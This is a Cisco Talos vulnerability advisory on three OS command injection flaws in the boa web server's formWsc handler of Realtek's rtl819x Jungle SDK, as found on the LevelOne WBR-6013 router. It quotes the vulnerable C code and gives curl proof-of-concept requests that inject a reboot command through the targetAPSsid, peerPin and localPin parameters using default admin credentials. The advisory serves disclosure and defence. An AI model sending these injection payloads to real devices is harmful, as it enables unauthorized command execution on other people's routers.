Talos Vulnerability Report

TALOS-2023-1899

Realtek rtl819x Jungle SDK boa formWsc OS command injection vulnerabilities

July 8, 2024
CVE Number

CVE-2023-50381,CVE-2023-50383,CVE-2023-50382

SUMMARY

Three os command injection vulnerabilities exist in the boa formWsc functionality of Realtek rtl819x Jungle SDK v3.4.11. A specially crafted series of HTTP requests can lead to arbitrary command execution. An attacker can send a series of HTTP requests to trigger these vulnerabilities.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

LevelOne WBR-6013 RER4_A_v3411b_2T2R_LEV_09_170623
Realtek rtl819x Jungle SDK v3.4.11

PRODUCT URLS

rtl819x Jungle SDK - https://www.realtek.com/en/ WBR-6013 - https://www.level1.com/level1_en/wbr-6013-n300-wireless-router-54069103

CVSSv3 SCORE

7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

DETAILS

The rtl819x Jungle SDK is an SDK for routers. This SDK uses as web server boa.

These Realtek rtl819x Jungle SDK vulnerabilities were found while researching the Levelone WBR-6013 router. We are going to explain these vulnerabilities from the perspective of the WBR-6013 router.

The WBR-6013 router has a web server called boa. The version used in the device is that of a Realtek SDK that uses boa. One of the SDK’s API is /boafrm/formWsc. This API allows modifications of the Wi-Fi WPS settings. The function responsible for this API is boa’s formWsc:

void formWsc(request *wp, char *path, char *query)
{
    [...]
[1] targetAPSsid = req_get_cstream_var(wp, "targetAPSsid", (""));
    [...]
[2] strVal = req_get_cstream_var(wp, ("triggerPIN"), "");
    if (strVal[0]) {
        int local_pin_changed = 0;		
[3]     strVal = req_get_cstream_var(wp, ("localPin"), "");
        if (strVal[0]) {
            apmib_get(MIB_HW_WSC_PIN, (void *)tmpbuf);
            if (strcmp(tmpbuf, strVal)) {
[4]             apmib_set(MIB_HW_WSC_PIN, (void *)strVal);
                local_pin_changed = 1;				
            }			
        }		
        apmib_get(MIB_WLAN_WSC_DISABLE, (void *)&intVal);
        if (intVal) {
            char localpin[100];
            intVal = 0;			
            apmib_set(MIB_WLAN_WSC_DISABLE, (void *)&intVal);
            updateVapWscDisable(wlan_idx, intVal);
            apmib_update_web(CURRENT_SETTING);
            system("echo 1 > /var/wps_start_pin");

            if (local_pin_changed) {
                apmib_get(MIB_HW_WSC_PIN, (void *)localpin);
                sprintf(tmpbuf, "echo %s > /var/wps_local_pin", localpin);
[5]             system(tmpbuf);
            }
            run_init_script("bridge");			
        }
        else {		
            if (local_pin_changed) {
                [...]
            }
            else {
                [...]
                if(targetAPSsid[0]){					
                    if(strlen(targetAPSsid)<= 32){
[6]                     translate_control_code_sprintf(targetAPSsid);
                        sprintf(tmpbuf, "iwpriv wlan%d set_mib wsc_specssid=\"%s\" ",wlan_idx, targetAPSsid);
[7]                     system(tmpbuf);						
                    }else{					
                        printf("invaild SSID Len\n");
                    }												
                }
                [...]
            }
            [...]
        }
        [...]
    }
    [...]
[8] strVal = req_get_cstream_var(wp, ("setPIN"), "");
    if (strVal[0]) {		
[9]     strVal = req_get_cstream_var(wp, ("peerPin"), "");
        if (strVal[0]) {
            apmib_get(MIB_WLAN_WSC_DISABLE, (void *)&intVal);
            if (intVal) {
                intVal = 0;
                apmib_set(MIB_WLAN_WSC_DISABLE, (void *)&intVal);
                apmib_update_web(CURRENT_SETTING);	

[10]            sprintf(tmpbuf, "echo %s > /var/wps_peer_pin", strVal);
[11]            system(tmpbuf);
                run_init_script("bridge");
            }
            [...]
        }
        [...]
    }
    [...]
}

The formWsc API has multiple code paths that lead to OS command injection vulnerabilities through the request’s parameters. An attacker could exploit these vulnerabilities to obtain arbitrary command execution. Following the details for each set of requests’ parameters that can lead to an OS command injection.

CVE-2023-50381 - targetAPSsid

At [1] the targetAPSsid request’s parameter is fetched into the targetAPSsid variable . At [2] the triggerPIN request’s parameter is fetched before it is checked to see if it is defined. If so, the code at [3] is reached. At [3] the localPin request’s parameter is fetched. If either localPin is not defined as request’s parameter or the value is equal to the one stored in flash, the local_pin_changed variable is going to remain equal to 0. If local_pin_changed is 0 and the flash variable MIB_WLAN_WSC_DISABLE is 0, meaning that the WPS is enabled, the code at [6] is reached. At [6] the translate_control_code_sprintf function is called with the targetAPSsid variable. Following the translate_control_code_sprintf function:

void translate_control_code_sprintf(char *buffer)
{
    char tmpBuf[200], *p1 = buffer, *p2 = tmpBuf;


    while (*p1) {
        if(*p1 == '\\'){
            memcpy(p2, "\\\\", 2);
            p2 += 2;
        }
        else if (*p1 == '%') {
            memcpy(p2, "%%", 2);
            p2 += 2;
        }
        else if(*p1 =='\"'){
            memcpy(p2, "\\\"", 2);
            p2 += 2;
        }
        else if(*p1 =='\''){
            memcpy(p2, "\\\'", 2);
            p2 += 2;
        }
        else if(*p1 =='\`'){
            memcpy(p2, "\\\`", 2);
            p2 += 2;
        }
        else
            *p2++ = *p1;
        p1++;
    }
    *p2 = '\0';

    strcpy(buffer, tmpBuf);
}

Essentially this function will escape some special characters.
Then the iwpriv wlan<wlan_id> set_mib wsc_specssid="<escaped targetAPSsid>" string is composed and executed, at [7], through system. The escape is not enough to prevent an OS command injection. Because no checks are perfomed on the targetAPSsid request’s parameter, and the escaping does not prohibit a strict enough list of characters, an OS command injection can occur at [7]. An attacker could exploit this vulnerability to obtain arbitrary command execution.

Exploit Proof of Concept

To use a specific API of the web server, because of a CSRF protection mechanism, it is necessary to load the HTML page that would call that API:

curl --user admin:admin http://<DEVICE_IP>/wlwps.htm &>/dev/null 

After this request it is possible to use the /boafrm/formWsc API:

curl -d "submit-url=POC&triggerPIN=1&targetAPSsid=\$(reboot)" -X POST -H "Content-Type: application/x-www-form-urlencoded" --user admin:admin http://<DEVICE_IP>/boafrm/formWsc

Assuming the WPS functionality is enabled, after the request the router will reboot. The POC uses the default admin credentials.

CVE-2023-50382 - peerPin

At [8] the setPIN request’s parameter is fetched. If its value is different than the empty string, the code at [9] is reached. At [9] the peerPin request’s parameter is fetched in the strVal variable. If the flash variable MIB_WLAN_WSC_DISABLE is 1, meaning that the WPS is disabled, the code at [10] is reached and the echo <peerPin> > /var/wps_peer_pin string is composed. This string is then used at [11] as argument for the system function. Because no checks are perfomed on the peerPin request’s parameter, an OS command injection can occur at [11].

Exploit Proof of Concept

To use a specific API of the web server, because of a CSRF protection mechanism, it is necessary to load the HTML page that would call that API:

curl --user admin:admin http://<DEVICE_IP>/wlwps.htm &>/dev/null 

After this request it is possible to use the /boafrm/formWsc API:

curl -d "submit-url=POC&disableWPS=ON&setPIN=1&peerPin=\$(reboot)" -X POST -H "Content-Type: application/x-www-form-urlencoded" --user admin:admin http://<DEVICE_IP>/boafrm/formWsc

Assuming the WPS functionality is disabled, after the request the router will reboot. The POC uses the default admin credentials.

CVE-2023-50383 - localPin

At [2] the triggerPIN request’s parameter is fetched. If its value is different than the empty string, the code at [3] is reached. At [3] the localPin request’s parameter is fetched in the strVal variable. If the value of strVal (the localPin request’s parameter value) is different than the localPin value stored in flash, then, at [4], the provided value of localPin is stored in flash. Later, if the flash variable MIB_WLAN_WSC_DISABLE is 1, meaning that the WPS is disabled, and the request’s value of localPin is different than the one stored in flash, the code at [5] is reached. At [5] the echo <localpin> > /var/wps_local_pin is used as the argument for the system function. Because no checks are perfomed on the localPin request’s parameter, an OS command injection can occur at [5].

Exploit Proof of Concept

To use a specific API of the web server, because of a CSRF protection mechanism, it is necessary to load the HTML page that would call that API:

curl --user admin:admin http://<DEVICE_IP>/wlwps.htm &>/dev/null 

After this request it is possible to use the /boafrm/formWsc API:

curl -d "submit-url=POC&triggerPIN=1&localPin=\`reboot\`" -X POST -H "Content-Type: application/x-www-form-urlencoded" --user admin:admin http://<DEVICE_IP>/boafrm/formWsc

Assuming the WPS functionality is disabled, after the request the router will reboot. The POC uses the default admin credentials.

VENDOR RESPONSE

Realtek has provided updates software to their customers. LevelOne has declined to patch the issues in their software.

TIMELINE

2023-12-14 - Initial Vendor Contact
2023-12-22 - Vendor Disclosure
2024-05-20 - Vendor Patch Release
2024-07-08 - Public Release

Credit

Discovered by Francesco Benvenuto of Cisco Talos.